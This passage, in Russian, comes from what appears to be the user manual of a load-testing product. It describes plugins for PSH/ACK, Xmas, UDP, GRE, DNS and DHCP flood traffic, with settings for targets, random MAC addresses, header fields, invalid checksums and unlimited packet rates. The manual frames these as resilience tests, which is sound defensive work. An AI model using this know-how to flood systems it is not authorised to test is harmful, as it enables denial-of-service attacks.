| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 87;
Табл. 87 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 88;
Табл. 88 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 89;
Табл. 89 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 90;
Табл. 90 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 91.
Табл. 91 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
PSH/ACK Flood
PSH/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с флагами PSH и ACK, создавая нагрузку на сервер из-за необходимости немедленной обработки данных. Этот шаблон помогает оценить, как сервер справляется с высокой интенсивностью запросов.
Данный плагин состоит из следующих параметров:
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 92;
Табл. 92 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 93;
Табл. 93 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 94;
Табл. 94 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 95;
Табл. 95 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 96;
Табл. 96 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 97.
Табл. 97 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
Xmas Flood (All flags)
Xmas Flood (All flags) – плагин для генерации трафика, который отправляет большое количество пакетов c установленными всеми флагами TCP (URG, ACK, PSH, RST, SYN, FIN). Этот шаблон используется для проверки устойчивости сетевых устройств и систем обнаружения вторжений к необычным и потенциально вредоносным пакетам.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 98;
Табл. 98 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 99;
Табл. 99 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 100;
Табл. 100 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 101;
Табл. 101 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 102;
Табл. 103 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 103.
Табл. 103 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
UDP Flood
UDP Flood – плагин для генерации трафика, который отправляет большой объем UDP-пакетов на целевой сервер, что может привести к исчерпанию пропускной способности и перегрузке ресурсов сервера. Этот шаблон позволяет протестировать устойчивость сети к атакам, использующим UDP-трафик.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 104;
Табл. 104 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 105;
Табл. 105 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 106;
Табл. 106 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- Параметры плагина – параметры настроек плагина UDP, описание которых указаны в Табл. 107.
Табл. 107 – Параметры «Плагина»
| Название | Описание | Значение |
|---|---|---|
| Невалидная чек-сумма | Чек-сумма используется в UDP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно. | Включение или выключение тумблера |
| Отправлять пейлоад | Пейлоад — это данные, которые передаются в UDP-пакете. В данном случае параметр указывает на необходимость отправки пейлоада вместе с UDP-пакетом | Включение или выключение тумблера |
| Если тумблер «Отправлять пейлоад» включен | ||
| Случайные данные | Этот параметр подразумевает, что содержимое пейлоада будет генерироваться случайным образом. Это может включать случайные байты или строки, что делает трафик менее предсказуемым. | Включение или выключение тумблера |
| Если тумблер «Случайные данные» выключен | ||
| Base64 строка | Указывает, будет ли содержимое пейлоада интерпретироваться или кодироваться как Base64 строка | Включение или выключение тумблера |
| Размер пейлоада | Этот параметр определяет размер данных в пейлоаде UDP-пакета. Значение может варьироваться от 0 до 1300 байт. | Задать числовые значения (по умолчанию, значение указано: «0-1300») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 108;
Табл. 108 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 109.
Табл. 109 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
GRE Flood
GRE Flood – плагин для генерации трафика, который генерирует и отправляет большое количество пакетов с заголовком GRE (Generic Routing Encapsulation) с целью перегрузить пропускную способность сети.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 110;
Табл. 110 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 111;
Табл. 111 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 112;
Табл. 112 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- Параметры плагина – параметры настроек плагина GRE, описание которых указаны в Табл. 112а;
Табл. 112а – Параметры «Плагина»
| Название | Описание | Значение |
|---|---|---|
| Невалидная чек-сумма | Чек-сумма используется в IP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно. | Включение или выключение тумблера |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 113;
Табл. 113 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 114.
Табл. 114 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
DNS Flood
DNS Flood – плагин для генерации трафика, который генерирует и отправляет большое количество DNS-запросов с целью перегрузить DNS-сервер или пропускную способность сети.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 114а;
Табл. 114а – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 114б;
Табл. 114б – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 114в;
Табл. 114в – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- Параметры плагина – параметры настроек плагина DNS Flood, описание которых указаны в Табл. 114г;
Табл. 114г – Параметры «Плагина»
| Название | Описание | Значение |
|---|---|---|
| Невалидная чек-сумма | Чек-сумма используется в IP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно. | Включение или выключение тумблера |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 114д;
Табл. 114д – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 114е.
Табл. 114е – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
DHCP Flood
DHCP Flood – плагин для генерации трафика, который генерирует и отправляет большое количество DHCP-запросов (DHCP Discover / DHCP Request) с целью исчерпать пул адресов DHCP-сервера или перегрузить пропускную способность сети.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 114ж;
Табл. 114ж – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 114з;
Табл. 114з – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 114и;
Табл. 114и – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- Параметры плагина – параметры настроек плагина DHCP Flood, описание которых указаны в Табл. 114к;
Табл. 114к – Параметры «Плагина»
| Название | Описание | Значение |
